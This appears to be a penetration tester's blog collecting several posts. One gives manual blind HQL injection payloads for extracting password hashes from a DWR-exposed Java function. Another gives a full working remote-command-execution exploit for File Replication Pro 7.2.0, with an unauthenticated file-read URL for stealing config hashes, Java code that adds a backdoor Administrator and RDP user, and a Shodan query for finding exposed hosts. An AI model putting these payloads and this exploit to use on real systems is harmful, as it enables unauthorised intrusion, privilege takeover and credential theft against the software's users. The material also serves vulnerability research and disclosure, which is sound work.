Manual Exploitation of Blind HQL Injections

Almost everyone has heard about SQL injections, but what about HQL injections? Hibernate Query Language (HQL) is an object-oriented query language, similar to Structured Query Language (SQL), but instead of operating on tables and columns, HQL works with persistent objects and their properties.

Imagine that you are doing a source-code review on a Java-based web application that uses Direct Web Remoting (DWR) and you come across the following line of code:

String statement = "select x from Rights x, Roles y where x.uId = y.uId " + "and y.roleId = " + rId;
List roles = DataUtils.getHQL().queryList(statement);

The ‘rId’ variable in the statement is taken directly from user input, thus making this line of code vulnerable. After tracing the ‘rId’ variable, it was found that the function that calls the vulnerable statement is also conveniently exposed via DWR. If you have not heard about DWR, it is a library that allows Java methods / functions to be exposed and called directly using JavaScript. (more info available here: http://directwebremoting.org)

Using the JavaScript console in a web browser, it was possible to trigger the function call using the following command:

DWRAction.getUserRightsByRoleID(rId);

Note: The function names depends on how the developer of the web application implements the DWR library. One way to determine this is to observe the traffic through a proxy and look for the main DWR call that pulls the exposed functions’ JavaScript .js file. Take the JavaScript content of the file and manually load it in the browser console, so that you will be able to call the functions.

Calling the following exposed DWR call via JavaScript with the following parameter returns a response of Content-Length: 120:

DWRAction.getUserRightsByRoleID("1 or 1=2");

While calling the following exposed DWR call via JavaScript with the following parameter returns a response of Content-Length: 2649040:

DWRAction.getUserRightsByRoleID("1 or 1=1");

This looks like a confirmed case of a blind HQL injection vulnerability. The goal now would be to dump some important information from the database. Attempts were made to use SQLmap as well as an obscure HQLmap tool from GitHub, but they were not successful. Attempts were then made to exploit this vulnerability manually.

While playing with the injection parameters, it was observed that UNION queries were not allowed. Also, <, >, !, = comparators are filtered by the XSS filters. Single and double quotes were also filtered. You might ask why is the “1 or 1=1” input allowed with quotes? The reason behind this is because the exposed JavaScript DWR method takes in a String, therefore it has be sent to the server enclosed in quotes [DWRAction.getUserRightsByRoleID(String);].

Consulting the official HQL manual shows that the following expressions are supported:

hql_expressions

After a bit of trial and error with the supported expressions, it was observed that the accepted inputs are:

  • ( ) Parentheses
  • Between x and y (this will be the alternative to < > comparators)
  • Sub SELECT statements allowed (alternative to UNION)

With this knowledge, the next step would be to find out valid tables and columns. Searching through the source code for other HQL statements gave some idea of what tables and columns exists. In this case, the table name was ‘TBL_USERS’ with several columns, but what we are interested in is just the “password” and “uId” columns.

The first step in order to extract some meaningful data will require a valid ‘uId’ from the ‘TBL_USERS’ table. The following sub SELECT payload was used:

DWRAction.getUserRightsByRoleID("1 or (select id from TBL_USERS where id between 1 and 2000) = 1");

After tweaking the ‘between’ values manually by elimination and looking at the server responses, it was observed that the ‘uId’ of value 1900 exists. Now, its time to get the password hash for the user who has the ‘uId’ value of 1900. One way to determine the characters of the password is to use ASCII comparison, and we will start with the first character of the password column using the following payload:

DWRAction.getUserRightsByRoleID("1 or (select ascii(substr(password,1,1)) from TBL_USERS where id = 1900) between [ASCII value] and [ASCII value]");

The ASCII values can be obtained from the chart below:

ascii_chart

This part gets repetitive as the trial and error process begins. After many tries using elimination by tweaking the ‘between’ ASCII values, we now know the first character is an ASCII value of 49 which is equivalent to ‘1’. Repeat this tedious process till the n character by altering the substr() parameter in the statement. You can make the process less manual by using Burp Intruder and observing the responses.

Update: After knowing that its a hash value from the first few characters, the statement can be simplified to:

DWRAction.getUserRightsByRoleID("1 or (select ascii(substr(password,1,1)) from TBL_USERS where id = 1900) = [ASCII value]");

Where the ASCII value can range from 48 to 57 and 97 to 122. (Thanks @gifted88 for the tip.)

After all the hard work, the password hash for the user with “uId” 1900 is:

14f61727aed7a8f8139c26714feec7c5

Post-Exploitation with Windows PowerShell

I gave a presentation on the topic of “Post-Exploitation with Windows PowerShell” sometime ago in 2015. This presentation showcases the use of PowerShell scripting exploitation frameworks coupled with various penetration testing tools and AV evasion techniques for post-exploitation on compromised hosts.

The slides can be found here:

Video of the demo from the presentation:

Trà Đá Hacking #1- FRP Remote Root

I recently spoke at Trà Đá Hacking #1 (http://trada.vnsecurity.net), organized by VNSec in HCMC on the topic of ‘How to Get Started in Finding 0-Days – A Use Case’. The short introductory talk was intended to introduce the topic of finding 0-days using a real-world scenario as an example.

The slides can be found here:

I have created a remote code/command execution exploit client for the talk, based on 2 vulnerabilities discovered last year. The exploit can be downloaded here:

A sample video of the exploit in action:

Update: After a long time, the guys at FRP finally released the fixed version: https://frpsupport.fogbugz.com/default.asp?W291

frp2016-730-released

OSCE Certification

I was setting some goals for 2016 and decided to work on the Cracking the Perimeter (CTP) course as well as the certification exam to be an Offensive Security Certified Expert (OSCE). The exam was really tough and I was lucky and managed to pass it on my first try.

Screen Shot 2016-03-26 at 11.21.59 PM

I will be working on writing a review on the course when I find the time to do so. Proud to be newly OSCE certified!

offsec-student-certified-emblem-rgb-osce

Exploiting File Replication Pro 7.2.0

* The information found in this post is for educational purposes only and not to be used for illegal purposes *

Recently, a security advisory on the vulnerabilities found in File Replication Pro 7.2.0 was released on this site. This post shows the steps involved to remotely gain access to the system that has this software installed. As of the date of this post, the trial version of FRP 7.2.0 is still available for download at http://www.filereplicationpro.com.

* Note: A quick search on shodan.io with the keywords “FRP Node Ready” shows quite a number of vulnerable systems out there. *

That aside, the first step will be to install the software. We will be using a Windows 7 machine for this demonstration. After running the installer , there will be a few services added to startup, namely 3 ‘prunsrv.exe’ processes as shown below. Note that the services are running under the privileges of the NT AUTHORITY\SYSTEM account:

frp1

The unauthenticated remote command execution vulnerability will be exploiting the way these processes handle password authentication to achieve command execution as the NT AUTHORITY\SYSTEM user. Using a browser, navigate to the localhost’s port 9200, which runs the replication RPC service. You should see the following:

frp2

The “OK” at the end of the “>> FRP Node Ready>> C24EB17AEF0D61>> OK” output indicates that the current RPC server does not require any form of authentication. This is the default behavior in a vanilla install. However, if you see an “ERROR” instead of an “OK”, it means that the RPC server is configured with a password and authentication is required. There is however another vulnerability that exists in the software that allows unauthenticated remote file access which can be abused to retrieve the password hash. FRP password hashes and configurations can be access remotely and unauthenticated using the following link:

http://127.0.0.1:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\configuration.xml

You should see the password hash in the configuration.xml file. If more clients have been added to the FRP management server, you will also be able to see all the other password hashes there. If you explore further and take a look into the .jar and .war files that can be found in the installation directory and figure how the software works, you can then proceed to create a malicious RPC client, that in this example, adds an arbitrary user to the remote system, and then adds this user to both the Administrator and RDP groups.

The following exploit code is used in this example. Remember to replace the IP, port, and password variables accordingly:

/**
 * @author Jerold Hoong (Vantage Point Security)
 * File Replication Pro =< v7.2.0
 * Remote Command Execution PoC Working Exploit
 * www.vantagepoint.sg
 * NOTE: Include FRP libraries to compile
 */

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import net.diasoft.frp.engine.exception.RPCException;
import net.diasoft.frp.engine.model.AddressPort;
import net.diasoft.frp.engine.tcp.client.RPCDriver;
import net.diasoft.frp.engine.tcp.client.TCPConnection;

public class Main {

    static String ip = "1.2.3.4";
    static int port = 9200;
    // password string can be retrieved from remote file disclosure vulnerability (configuration.xml)
    // If no password is set, input blank string for password
    // Use IE to navigate to :9200. OK = NO-AUTH, Error = AUTH

    static String password = ""; // password 12345 jLIjfQZ5yojbZGTqxg2pY0VROWQ=

    public static void main(String[] args) {

        AddressPort ap = new AddressPort(ip, port);
        AddressPort addresses[] = {ap};
        TCPConnection _tcp_connection = null;

        try {
            _tcp_connection = new TCPConnection(addresses, password, true);

        } catch (Exception e) {
            e.printStackTrace();
        }

        System.out.print("Connecting to host...");
        RPCDriver rpc = new RPCDriver(_tcp_connection);
        HashMap p = new HashMap();

        try {
            Map r = rpc.callFunction("ExecCommand", p);
            System.out.print("Success!\n");
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }

        // add new user
        System.out.print("Attempting to add user 'vantagepoint' with password 'LOLrofl1337!': ");
        p.put("COMMAND", "net user vantagepoint LOLrofl1337! /add");
        try {
            Map r = rpc.callFunction("ExecCommand", p);
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }

        // add new user to Admin group
        System.out.print("Attempting to add user 'vantagepoint' to 'Administrators' group: ");
        p.put("COMMAND", "net localgroup \"Administrators\" vantagepoint /add");
        try {
            Map r = rpc.callFunction("ExecCommand", p);
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }

        //add new user to RDP group
        System.out.print("Attempting to add user 'vantagepoint' to 'Remote Desktop Users' group:");
        p.put("COMMAND", "net localgroup \"Remote Desktop Users\" vantagepoint /add");
        try {
            Map r = rpc.callFunction("ExecCommand", p);
        } catch (RPCException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {

            e.printStackTrace();
        }
        System.out.print("\n\n---- END ----\n\n");

    }
}

The following screenshot shows the list of users on the Windows 7 system, before the exploit code was executed:

frp3

After the exploit code was successfully executed:

Screen Shot 2016-02-15 at 11.40.51 PM

frp4

frp5

If RDP was not activated on the remote host, you can always tweak the commands in the exploit to activate it. You should now be able to RDP to the box and access the box as an Administrator.

Here is a video showing the exploit in action:

Update: After a long time, the guys at FRP finally released the fixed version: https://frpsupport.fogbugz.com/default.asp?W291

frp2016-730-released